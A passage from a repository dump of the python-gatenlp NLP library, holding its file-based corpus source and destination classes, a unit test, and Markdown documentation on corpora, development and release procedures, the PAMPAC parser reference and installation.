"Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10764, "license_type": "permissive", "max_line_length": 118, "num_lines": 267, "path": "/gatenlp/corpora/files.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that defines Corpus and DocumentSource/DocumentDestination classes which access documents\nas lines or parts in a file.\n\"\"\"\n\nimport json\nfrom gatenlp.urlfileutils import yield_lines_from\nfrom gatenlp.document import Document\nfrom gatenlp.corpora.base import DocumentSource, DocumentDestination\nfrom gatenlp.corpora.base import MultiProcessingAble\n\n\nclass BdocjsLinesFileSource(DocumentSource, MultiProcessingAble):\n \"\"\"\n A document source which reads one bdoc json serialization of a document from each line of the given file.\n \"\"\"\n\n def __init__(self, file):\n \"\"\"\n Create a JsonLinesFileSource.\n\n Args:\n file: the file path (a string) or an open file handle.\n \"\"\"\n self.file = file\n\n def __iter__(self):\n with open(self.file, \"rt\", encoding=\"utf-8\") as infp:\n for line in infp:\n yield Document.load_mem(line, fmt=\"json\")\n\n\nclass BdocjsLinesFileDestination(DocumentDestination):\n \"\"\"\n Writes one line of JSON per document to the a single output file.\n \"\"\"\n\n def __init__(self, file):\n \"\"\"\n\n Args:\n file: the file to write to. If it exists, it gets overwritten without warning.\n Expected to be a string or an open file handle.\n \"\"\"\n if isinstance(file, str):\n self.fh = open(file, \"wt\", encoding=\"utf-8\")\n else:\n self.fh = file\n self.n = 0\n\n def __enter__(self):\n return self\n\n def __exit__(self, extype, value, traceback):\n self.fh.close()\n\n def append(self, doc):\n \"\"\"\n Append a document to the destination.\n\n Args:\n doc: the document, if None, no action is performed.\n \"\"\"\n if doc is None:\n return\n assert isinstance(doc, Document)\n self.fh.write(doc.save_mem(fmt=\"json\"))\n self.fh.write(\"\\n\")\n self.n += 1\n\n def close(self):\n self.fh.close()\n\n\nclass JsonLinesFileSource(DocumentSource, MultiProcessingAble):\n \"\"\"\n A document source which reads one json serialization per line, creates a document from one field\n in the json and optionally stores all or a selection of remaining fields as document feature \"__data\".\n \"\"\"\n\n def __init__(self, file, text_field=\"text\", data_fields=None, data_feature=\"__data\"):\n \"\"\"\n Create a JsonLinesFileSource.\n\n Args:\n file: the file path (a string) or an open file handle.\n text_field: the field name where to get the document text from.\n data_fields: if a list of names, store these fields in the \"__data\" feature. if True, store all fields.\n data_feature: the name of the data feature, default is \"__data\"\n \"\"\"\n # feature_fields: NOT YET IMPLEMENTED -- a mapping from original json fields to document features\n\n self.file = file\n self.text_field = text_field\n self.data_fields = data_fields\n self.data_feature = data_feature\n\n def __iter__(self):\n with open(self.file, \"rt\", encoding=\"utf-8\") as infp:\n for line in infp:\n data = json.loads(line)\n # TODO: what if the field does not exist? should we use get(text_field, \"\") instead?\n text = data[self.text_field]\n doc = Document(text)\n if self.data_fields:\n if isinstance(self.data_fields, list):\n tmp = {}\n for fname in self.data_fields:\n # TODO: what if the field does not exist?\n tmp[fname] = data[fname]\n else:\n tmp = data\n doc.features[self.data_feature] = tmp\n yield doc\n\n\nclass JsonLinesFileDestination(DocumentDestination):\n \"\"\"\n Writes one line of JSON per document to the a single output file. This will either write the document json\n as nested data or the document text to the field designated for the document and will write other json\n fields from the \"__data\" document feature.\n \"\"\"\n\n def __init__(self, file, document_field=\"text\", document_bdocjs=False, data_fields=True, data_feature=\"__data\"):\n \"\"\"\n\n Args:\n file: the file to write to. If it exists, it gets overwritten without warning.\n Expected to be a string or an open file handle.\n document_field: the name of the json field that will contain the document either just the text or\n the bdocjs representation if document_bdocjs is True.\n document_bdocjs: if True store the bdocjs serialization into the document_field instead of just the text\n data_fields: if a list, only store these fields in the json, if False, do not store any additional fields.\n Default is True: store all fields as is.\n data_feature: the name of the data feature, default is \"__data\"\n \"\"\"\n if isinstance(file, str):\n self.fh = open(file, \"wt\", encoding=\"utf-8\")\n else:\n self.fh = file\n self.n = 0\n self.document_field = document_field\n self.document_bdocjs = document_bdocjs\n self.data_fields = data_fields\n self.data_feature = data_feature\n\n def __enter__(self):\n return self\n\n def __exit__(self, _extype, _value, _traceback):\n self.fh.close()\n\n def append(self, doc):\n \"\"\"\n Append a document to the destination.\n\n Args:\n doc: the document, if None, no action is performed.\n \"\"\"\n if doc is None:\n return\n assert isinstance(doc, Document)\n data = {}\n if self.data_fields:\n if isinstance(self.data_fields, list):\n for fname in self.data_fields:\n data[fname] = doc.features[self.data_feature][fname]\n else:\n data.update(doc.features[self.data_feature])\n # assign the document field last so it overwrites anything that comes from the data feature!\n if self.document_bdocjs:\n data[self.document_field] = doc.save_mem(fmt=\"json\")\n else:\n data[self.document_field] = doc.text\n self.fh.write(json.dumps(data))\n self.fh.write(\"\\n\")\n self.n += 1\n\n def close(self):\n self.fh.close()\n\n\nclass TsvFileSource(DocumentSource, MultiProcessingAble):\n \"\"\"\n A TsvFileSource is a DocumentSource which is a single TSV file with a fixed number of tab-separated\n values per row. Each document in sequence is created from the text in one of the columns and\n document features can be set from arbitrary columns as well.\n \"\"\"\n\n def __init__(self, source, hdr=True, text_col=None, feature_cols=None, data_cols=None, data_feature=\"__data\"):\n \"\"\"\n Creates the TsvFileSource.\n\n Args:\n source: a file path or URL\n hdr: if True (default), expects a header line with the column names, if a list, should be the list\n of column names, if False/None, no header line is expected.\n text_col: the column which contains the text for creating the document. Either the column number,\n or the name of the column (only possible if there is a header line) or a function that should\n take the list of fields and arbitrary kwargs and return the text. Also passes \"cols\" and \"n\"\n as keyward arguments.\n feature_cols: if not None, must be either a dictionary mapping document feature names to the\n column numbers or column names of where to get the feature value from;\n or a function that should take the list of fields and arbitrary kwargs and return a dictionary\n with the features. Also passes \"cols\" (dict mapping column names to column indices, or None) and\n \"n\" (current line number) as keyword arguments.\n data_cols: if not None, either an iterable of the names of columns to store in the special document\n feature \"__data\" or if \"True\", stores all columns. At the moment this only works if the tsv file\n has a header line. The values are stored as a list in the order of the names given or the original\n order of the values in the TSV file.\n data_feature: the name of the document feature where to store the data, default is \"__data\"\n \"\"\"\n assert text_col is not None\n self.hdr = hdr\n self.text_col = text_col\n self.feature_cols = feature_cols\n self.data_cols = data_cols\n self.source = source\n self.n = 0\n self.hdr2col = {}\n if data_cols and not hdr:\n raise Exception(\"Header must be present if data_cols should be used\")\n self.data_feature = data_feature\n\n def __iter__(self):\n reader = yield_lines_from(self.source)\n if self.hdr and self.n == 0:\n self.n += 1\n self.hdr = next(reader).rstrip(\"\\n\\r\").split(\"\\t\")\n if self.hdr:\n self.hdr2col = {name: idx for idx, name in enumerate(self.hdr)}\n for line in reader:\n line = line.rstrip(\"\\n\\r\")\n fields = line.split(\"\\t\")\n if isinstance(self.text_col, int):\n text = fields[self.text_col]\n elif callable(self.text_col):\n text = self.text_col(fields, cols=self.hdr2col, n=self.n)\n else:\n text = fields[self.hdr2col[self.text_col]]\n doc = Document(text)\n if self.feature_cols:\n if callable(self.feature_cols):\n doc.features.update(\n self.feature_cols(fields, cols=self.hdr2col, n=self.n)\n )\n else:\n for fname, colid in self.feature_cols.items():\n if isinstance(colid, int):\n value = fields[colid]\n else:\n value = fields[self.hdr2col[colid]]\n doc.features[fname] = value\n if self.data_cols:\n if isinstance(self.data_cols, list):\n data = {}\n for cname in self.data_cols:\n if isinstance(cname, str):\n data[cname] = fields[self.hdr2col[cname]]\n else:\n # assume it is the column index!\n data[cname] = fields[cname]\n else:\n data = fields\n doc.features[self.data_feature] = data\n self.n += 1\n yield doc\n" }, { "alpha_fraction": 0.8235294222831726, "alphanum_fraction": 0.8235294222831726, "avg_line_length": 29.799999237060547, "blob_id": "34f2b8f65b9172aaf1762a3e1aac1bbd8bcb742c", "content_id": "9a66781857b5c62f1188156153e6c281f522e4ba", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 153, "license_type": "permissive", "max_line_length": 73, "num_lines": 5, "path": "/gatenlp/processing/__init__.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nPackage for annotators, and other things related to processing documents.\n\"\"\"\n\nfrom gatenlp.processing.gazetteer.tokengazetteer import TokenGazetteer" }, { "alpha_fraction": 0.6703703999519348, "alphanum_fraction": 0.6703703999519348, "avg_line_length": 14.882352828979492, "blob_id": "eec886dae418e6772f9d95f3b24e85d0d8f0d8ac", "content_id": "038e61fc70b89533f7fa02d99b0ce5d016a01e70", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "permissive", "max_line_length": 99, "num_lines": 17, "path": "/gatenlp/processing/matcher.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule that defines classes for matchers other than gazetteers which match e.g. regular expressions\nof strings or annotations.\n\"\"\"\n\n\nclass StringRegexMatcher:\n \"\"\"\n NOT YET IMPLEMENTED\n \"\"\"\n\n pass\n\n\n# class AnnotationRegexMatcher:\n# \"\"\" \"\"\"\n# pass\n" }, { "alpha_fraction": 0.6401765942573547, "alphanum_fraction": 0.6523178815841675, "avg_line_length": 23.45945930480957, "blob_id": "9f8eaab2aa9bcef1a715955c43dd0104fdfd7d4c", "content_id": "acef4ba29ce51c8173cd974f5bc42b126faf427b", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 906, "license_type": "permissive", "max_line_length": 94, "num_lines": 37, "path": "/tests/test_gateworker.py", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "\"\"\"\nModule to test the GateWorker and GateWorkerAnnotator\n\"\"\"\nimport os\n\nfrom gatenlp import Document\nfrom gatenlp.utils import init_logger\nfrom gatenlp.gateworker import GateWorker\n\nlogger = init_logger(\"test_gateworker\")\n\nshould_exit = not os.environ.get(\"GATE_HOME\")\nif should_exit:\n logger.warning(\"Environment variable GATE_HOME not set, skipping tests in TestGateWorker\")\n\n\ndef make_doc1():\n \"\"\"\n Create and return a document for testing\n \"\"\"\n doc = Document(\"This is just some test document. It mentions New York.\")\n return doc\n\n\nclass TestGateWorker:\n\n def test_gateworker01(self):\n \"\"\"\n Unit test method (make linter happy)\n \"\"\"\n if should_exit:\n return\n txt = \"some text\"\n with GateWorker() as gw1:\n gdoc1 = gw1.createDocument(txt)\n pdoc1 = gw1.gdoc2pdoc(gdoc1)\n assert pdoc1.text == txt\n\n" }, { "alpha_fraction": 0.6986095905303955, "alphanum_fraction": 0.7060118317604065, "avg_line_length": 36.72452926635742, "blob_id": "f234324e78c87b9cff40b2e5bb436494cef93fad", "content_id": "c577e9331761498f2f72b26dcdf63ca859df0389", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9997, "license_type": "permissive", "max_line_length": 330, "num_lines": 265, "path": "/docs/corpora.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# Document Corpora\n\n\nCorpora are collections of documents and in GateNLP, there are three classes which represent collections of \ndocuments:\n\n* Corpus: this is any object that behaves like a list or array of documents and allows to get and set the nth document via `mycorpus[n]` and `mycorpus[n] = doc`. A Python list can thus be used as a Corpus, but GateNLP provides other Corpus classes for getting and saving documents from/to a directory and other storage locations. \n* DocumentSource: this is something that can be used as an iterator over documents. Any iterable of documents can be used as DocumentSource, but GateNLP provides a number of classes to iterate over documents from other sources, like the result of a database query. \n* DocumentDestination: this is something where a document can be added to by invoking the `add` or `append` method. \n\nCorpus and DocumentSource objects can be processed by an executor (see [Processing](processing))\n\n## JsonLinesFileSource and JsonLinesFileDestination\n\nThis document source reads the JSON bdoc representation of a document from each line in an input file and \nproduces the corresponding documents. When a gatenlp Document is saved as \"json\", i.e. in bdoc json format,\nall json is in a single line since any newline character gets escaped in the json representation.\n\nThis makes it possible to store several documents in a single text file by having one json-serialization \nper row. \n\n\n```python\nimport os\nfrom gatenlp import Document\nfrom gatenlp.corpora import JsonLinesFileDestination, JsonLinesFileSource\nfrom gatenlp.corpora import DirFilesDestination, DirFilesSource, DirFilesCorpus\nfrom gatenlp.corpora import TsvFileSource\n\n# all the example files will be created in \"./tmp\"\nif not os.path.exists(\"tmp\"):\n os.mkdir(\"tmp\")\n```\n\n\n```python\n# lets start with a few texts to create documents from\ntexts = [\n \"This is the first text.\",\n \"Another text.\\nThis one has two lines\",\n \"This is the third document.\\nIt has three lines.\\nThis line is the last one.\\n\",\n \"And another document.\"\n]\n\ndocs = [Document(txt) for txt in texts]\n\n# print the text of the third document (index 2): this shows that the text has three lines:\nprint(docs[2].text)\n# lets create the json representation and print it too - this only occupies one line:\njson = docs[2].save_mem(fmt=\"json\")\nprint(json)\n```\n\n This is the third document.\n It has three lines.\n This line is the last one.\n \n {\"annotation_sets\": {}, \"text\": \"This is the third document.\\nIt has three lines.\\nThis line is the last one.\\n\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n\n\n\n```python\n# now lets save the 4 documents to a single JsonLinesFile using the document destination:\n# IMPORTANT: the file is only complete once the destination has been closed!\njsfile1 = os.path.join(\"tmp\",\"jsonlinesfile1.jsonl\")\ndest1 = JsonLinesFileDestination(jsfile1)\nfor doc in docs:\n dest1.append(doc)\ndest1.close()\n```\n\n\n```python\n# lets view the created file: \nwith open(jsfile1, \"rt\") as infp:\n print(infp.read())\n```\n\n {\"annotation_sets\": {}, \"text\": \"This is the first text.\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"Another text.\\nThis one has two lines\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"This is the third document.\\nIt has three lines.\\nThis line is the last one.\\n\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"And another document.\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n \n\n\n\n```python\n# Another way to use most document destinations is in a \"with\" block, which has the advantage that the \n# destination will get closed automatically:\njsfile2 = os.path.join(\"tmp\",\"jsonlinesfile2.jsonl\")\nwith JsonLinesFileDestination(jsfile2) as dest:\n for doc in docs:\n dest.append(doc)\n \nwith open(jsfile2, \"rt\") as infp:\n print(infp.read())\n```\n\n {\"annotation_sets\": {}, \"text\": \"This is the first text.\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"Another text.\\nThis one has two lines\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"This is the third document.\\nIt has three lines.\\nThis line is the last one.\\n\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n {\"annotation_sets\": {}, \"text\": \"And another document.\", \"features\": {}, \"offset_type\": \"p\", \"name\": \"\"}\n \n\n\n\n```python\n# Now that we have create a jsonlines file, we can use a document source to iterate over the documents in it\n\nfor doc in JsonLinesFileSource(jsfile2):\n print(doc)\n```\n\n Document(This is the first text.,features=Features({}),anns=[])\n Document(Another text.\n This one has two lines,features=Features({}),anns=[])\n Document(This is the third document.\n It has three lines.\n This line is the last one.\n ,features=Features({}),anns=[])\n Document(And another document.,features=Features({}),anns=[])\n\n\n## DirFilesSource, DirFilesDestination, DirFilesCorpus\n\nThe DirFilesSource is a document sorce that imports/reads files in a directory or directory tree as one \niterates over the source. \n\nThe DirFilesDestination is a destination that creates files in a directory as documents get appended to the destination. \n\nThe DirFilesCorpus is a corpus that accesses stored documents in a directory or directory tree when accessing \nthe corpus element and stores them back to their file when assigning the corpus element. \n\nLet's first convert the jsonlines file we have created into a directory corpus. A directory files corpus allows\nfor several different ways of how to name the files or file paths within the directory. Here we simply use the \nindex of the document, i.e. the running number of the document as the base name of the created file:\n\n\n\n```python\ndir1 = os.path.join(\"tmp\", \"dir1\")\nif not os.path.exists(dir1):\n os.mkdir(dir1) # The directory for a DirFilesDestination must exist\n# The path_from=\"idx\" setting makes the DirFilesCorpus use the running number of the document as \n# the file base name.\n\nwith DirFilesDestination(dir1, ext=\"bdocjs\", path_from=\"idx\") as dest:\n for doc in JsonLinesFileSource(jsfile1):\n dest.append(doc)\n \n\n# lets see what the content of the directory is now:\nprint(os.listdir(dir1))\n```\n\n ['3.bdocjs', '1.bdocjs', '0.bdocjs', '2.bdocjs']\n\n\nNow that we have a directory with files representing documents, we can open it as \na document source or corpus.\n\nIf we open it as a document source, we can simply iterate over all documents in it:\n\n\n```python\nsrc2 = DirFilesSource(dir1)\nfor doc in src2:\n print(doc)\n```\n\n Document(And another document.,features=Features({}),anns=[])\n Document(Another text.\n This one has two lines,features=Features({}),anns=[])\n Document(This is the first text.,features=Features({}),anns=[])\n Document(This is the third document.\n It has three lines.\n This line is the last one.\n ,features=Features({}),anns=[])\n\n\nIf we open it as a document corpus, we can directly access each document as from a list or an array:\n\n\n```python\ncorp1 = DirFilesCorpus(dir1)\n```\n\n\n```python\n# we can get the length\nprint(\"length is:\", len(corp1))\n\n# we can iterate over the documents in it:\nprint(\"Original documents:\")\nfor doc in corp1:\n print(doc)\n \n# but we can also update each element which will save the corresponding document to the original\n# file in the directory where it was loaded from. Here we add an annotation and document feature\n# to each document in the corpus.\nfor idx, doc in enumerate(corp1):\n doc.features[\"docidx\"] = idx\n doc.annset().add(0,3,\"Type1\")\n corp1[idx] = doc # !! this is what updates the document file in the directory\n \n# the files in the directory now contain the modified documents. lets open them again and show them \n# using a dirfiles source:\nsrc3 = DirFilesSource(dir1)\nprint(\"Updated documents:\")\nfor doc in src2:\n print(doc)\n```\n\n length is: 4\n Original documents:\n Document(And another document.,features=Features({}),anns=[])\n Document(Another text.\n This one has two lines,features=Features({}),anns=[])\n Document(This is the first text.,features=Features({}),anns=[])\n Document(This is the third document.\n It has three lines.\n This line is the last one.\n ,features=Features({}),anns=[])\n Updated documents:\n Document(And another document.,features=Features({'docidx': 0}),anns=['':1])\n Document(Another text.\n This one has two lines,features=Features({'docidx': 1}),anns=['':1])\n Document(This is the first text.,features=Features({'docidx': 2}),anns=['':1])\n Document(This is the third document.\n It has three lines.\n This line is the last one.\n ,features=Features({'docidx': 3}),anns=['':1])\n\n\n## TsvFileSource\n\nThe TsvFileSource is a document source which initializes documents from the text in some column of a tsv\nfile and optionally sets document features from other columns of the tsv file. \n\n\n```python\n# Let's load documents from a tsv file on a web page. This tsv file has three columns and a header line which \n# gives the names \"text\", \"feat1\" \"feat2\" to the columns. \n# We create the documents by fetching the text from column \"text\" and creating two document features\n# with names \"f1\" and \"f2\" from the columns \"feat1\" and \"feat2\":\ntsvsrc = TsvFileSource(\"https://gatenlp.github.io/python-gatenlp/tsvcorpus_example1.tsv\",\n text_col=\"text\", feature_cols=dict(f1=\"feat1\", f2=\"feat2\"))\n\n\n\nfor doc in tsvsrc:\n print(doc)\n```\n\n Document(Here is some text. Like with JSON, newlines are escaped:\\nHere is another line.,features=Features({'f1': 'fval1', 'f2': 'fval2\\n'}),anns=[])\n Document(Another text\\nThis one\\nhas more\\n\\nlines.,features=Features({'f1': '11', 'f2': '22\\n'}),anns=[])\n Document(And another.,features=Features({'f1': 'a', 'f2': 'b\\n'}),anns=[])\n\n\n\n```python\n# clean up after ourselves\nimport shutil\nshutil.rmtree(\"tmp\")\n```\n" }, { "alpha_fraction": 0.7435628175735474, "alphanum_fraction": 0.755123496055603, "avg_line_length": 44.85542297363281, "blob_id": "440d48e11d29dce37e2247fc774ff7d6821d4c6a", "content_id": "f81d26cb42c8805884cc946cb059957b56bd6120", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3806, "license_type": "permissive", "max_line_length": 115, "num_lines": 83, "path": "/DEVNOTES.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# Various Notes about Development\n\n## Use a prepared environment in a Jupyter notebook\n\n* `pip install ipykernel`\n* within the env: `python -m ipykernel install --user --name envname --display-name \"Python (envname)`\n* To list which are already there: `jupyter kernelspec list`\n\n## Version numbers\n\n* certain versions of gatenlp map to versions of the GATE plugin Python, e.g. 1.0.2 to 3.0.2\n* gatenlp may receive more releases, the in between releases would be 1.0.2.1 etc \n* to better distinguish versions which are not released but part of a snapshot Python plugin release, use local\n development version numbers e.g. 1.0.5-dev3 which could eventually get released as 1.0.5\n* since development version numbers do not refer to a single state but a range of commits, the commit should \n still be specified whenever referring to a development version (`git rev-parse --short HEAD`)\n* whenever a development version gets incremented, a tag of the form v1.0.5-dev3 is added just before the \n next development version (1.0.5-dev4)\n* Once we have reached stable release 1.1 the mapped releases would be 1.1/3.1, 1.2/3.2 etc with \n in-between releases of gatenlp 1.1.1 etc.\n\n## Prepare a release\n\nFor now rather simple:\n\n* make sure everything is pulled and we are on branch main\n* make sure it works: run tests\n* !! make sure the latest version of the htmlviewer javascript is released\n and the correct version number is used in the serializer and \n * `python make-viewer.py` has been run to copy to the package directory\n* !! make sure the version has been updated to what we want to release!\n* run ./gendoc-pdoc3.sh\n* add anything that needs to get added\n\n* !! SYNC WITH UPCOMING PYTHON PLUGIN RELEASE:\n* Edit: `java/src/main/java/gate/tools/gatenlpworker/GatenlpWorker.java`\n and change the version of python plugin to the upcoming one which will contain the new GateNLP release\n* run `python make-java.py` \n* re-install current directory locally using `pip install -e .[alldev]`\n* double check that gateworker tries to load the new (not-yet existing) release\n* commit and push, Python plugin tracks main, so we have now what we need \n* create release branch and push - this is for going back to this version more easily later\n\n* In plugin Python:\n * pull, make sure ready for release\n * `git submodue update --remote` \n * commit/push/check it compiles (check we compile with Java 8!)\n * this is now the version we can release, which contains the submodule commit of what will be the gatenlp release\n * Actually create the Python plugin release the normal way\n * wait until available on Maven Central\n \n* upload to pypi\n* create annotated tag v9.9\n* !! GateNLP is now released!\n* checkout main\n* increase the gatenlp version, make it a development version (-dev0)\n* edit `java/src/main/java/gate/tools/gatenlpslave/GatenlpWorker.java` and change version\n to next Python plugin snapshot\n* create next Python plugin snapshot\n\n## Run pytest\n\nHow it works:\n* without any options:\n * pytest does not show stderr/stdout for passing tests\n * pytest does not show any logging output for passing tests\n * pytest DOES show stderr/stdout for failing tests\n * pytest DOES show info/warning logging for failing tests\n* option -s: show stderr/stdout \n* option --log-cli-level: enables cli logging of given level or above\n * can be configured with `log_cli=true, log_cli_level=xxx`\n\nFor a test with some keyword and set logging level:\n\n`pytest -k test_call3 -s --log-cli --log-cli-level=DEBUG`\n\n\nConventions:\n\n* for debugging test code we use print or logger at level debug and run with:\n `pytest -s --log-cli-level DEBUG module`\n* normal testing is done without -s but with `log_cli_level=WARNING` to show important feedback from the \n tests, e.g. when a test is skipped because of the local config\n" }, { "alpha_fraction": 0.7899190783500671, "alphanum_fraction": 0.7899190783500671, "avg_line_length": 77.76811218261719, "blob_id": "764d841d456ffb94665cbbb4d4f3ef74779f874b", "content_id": "b02b979aa8aba1d7bb8e6af4556117d06d542b10", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 5436, "license_type": "permissive", "max_line_length": 309, "num_lines": 69, "path": "/docs/pampac-reference.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# PAMPAC Reference \n\nThis gives an overview over all the parsers, actions and helpers in the `pampac` module.\n\n## Pampac\n\nThe two main components of Pampac are the rules and the pampac matcher:\n\n[`Pampac`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Pampac\n): the matcher which will match one or more rules against a document and annotations and fire the actions associated with matching rules. \n\n\n[`Rule`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Rule): a rule consists of a parser which describes the pattern to match in the document, and an action which will be carried out if the rule matches. \n\n\n## Parsers\n\nParsers are basic parsers which match annotations or text or combine basic parsers to match more complex patterns. \n\n[`And`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.And): combines to parsers and matches only if both match at the same location. \n\n[`Ann`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Ann): match an annotation with the given properties at the next index in the annotation list, or match the first annotation which starts at the current text offset.\n\n[`AnnAt`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.AnnAt): match an annotation with the given properties at the offset at which the next annotation in the annotation list starts, or at the current text offset.\n\n[`Call`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Call): call a function when the given parser matches, optionally call a function when the parser fails. \n\n[`Filter`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Filter): call a function for all results if the parser is successful and keep those results for which the function returns true. If at least one result was kept, succeed, otherwise fail. \n\n[`Find`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Find): from the current location, attempt to match the given parser at each text offset or at each annotation index until it matches and returns success or the end of the doccument is reached and it fails. \n\n[`Lookahead`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Lookahead): match a parser only if another parser matches after it, but do not consume or use the match after it. \n\n[`N`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.N): match a parser at least a certain min number of times but not more often than a max number of times, optionally only until another parser matches. \n\n[`Or`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Or): try to match each of the parsers in sequence and return success as soon as a parser matches. If no parser matches return failure. \n\n[`Seq`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Seq): match the all the parsers in sequence. \n\n[`Text`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.Text): match the given text or regular expression against the document text. \n\n\n## Actions \n\nActions are classes that provide a simple way to perform an action if a rule fires. \n\n[`AddAnn`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.AddAnn): Add a new annotation. \n\n[`UpdateAnnFeatures`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.UpdateAnnFeatures): update the features of an existing annotation. \n\n## Helpers \n\nHelpers are classes which can be used with Actions to simplify accessing information from matches in a parse result. \n\n[`GetAnn`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetAnn): retrieve an annotation that was matched in the result\n\n[`GetEnd`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetEnd): get the end offset of an annotation that was matched in the result\n\n[`GetFeature`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetFeature): get a specific feature of an annotation that was matched in the result. \n\n[`GetFeatures`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetFeatures): get a feature set of an annotation that was matched in the result\n\n[`GetRegexpGroup`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetRegexGroup): get the text for a regular expression group that was matched in the result. \n\n[`GetStart`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetStart): get the start offset of an annotation that was matched in the result\n\n[`GetText`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetText): get the text that was matched in the result\n\n[`GetType`](https://gatenlp.github.io/python-gatenlp/pythondoc/gatenlp/pam/pampac.html#gatenlp.pam.pampac.GetType): get the type of an annotation that was matched in the result.\n\n" }, { "alpha_fraction": 0.7471447587013245, "alphanum_fraction": 0.7513944506645203, "avg_line_length": 26.08633041381836, "blob_id": "a05e0d55f534fc4e47f4e181626b4673beb8f7c9", "content_id": "08ae4d0db4f4e6cd8f14db04abfb558532da21e1", "detected_licenses": [ "Python-2.0", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3765, "license_type": "permissive", "max_line_length": 145, "num_lines": 139, "path": "/docs/installation.md", "repo_name": "davidwilby/python-gatenlp", "src_encoding": "UTF-8", "text": "# Installation\n\nMake sure you have Python 3.6 or later installed. Python version 3.7 or later is highly recommended!\n\nThe recommended way to install Python is to use Conda by installing one of \n\n* [Anaconda](https://www.anaconda.com/products/individual) or\n* [Miniconda](https://docs.conda.io/en/latest/miniconda.html) \n\nAlternately, \n* [Miniforge](https://github.com/conda-forge/miniforge) may help avoid Windows 10 issues\n\n\nThen create an environment for working with gatenlp. This example\ncreates an environment with the name `gatenlp` and activates it:\n\n```\nconda create -n gatenlp python==3.8\nconda activate gatenlp\n```\n\nThe gatenlp has a number of optional dependencies which are only needed if\nsome special features of gatenlp are used.\n\nTo install `gatenlp` with the minimal set of dependencies run:\n\n```\npython -m pip install gatenlp \n```\n\nTo upgrade an already installed gatenlp package to the latest version run: \n\n```\npython -m pip install -U gatenlp \n```\n\nTo install `gatenlp` with all dependencies run:\n\n```\npython -m pip install gatenlp[all]\n```\n\nTo upgrade to the latest version with all dependencies:\n\n```\npython -m pip install -U gatenlp[all]\n```\n\nNOTE: if this fails because of a problem installing torch (this may happen on Windows), \nfirst install Pytorch separately according to \nthe Pytorch installation instructions, see: https://pytorch.org/get-started/locally/\nthen run the 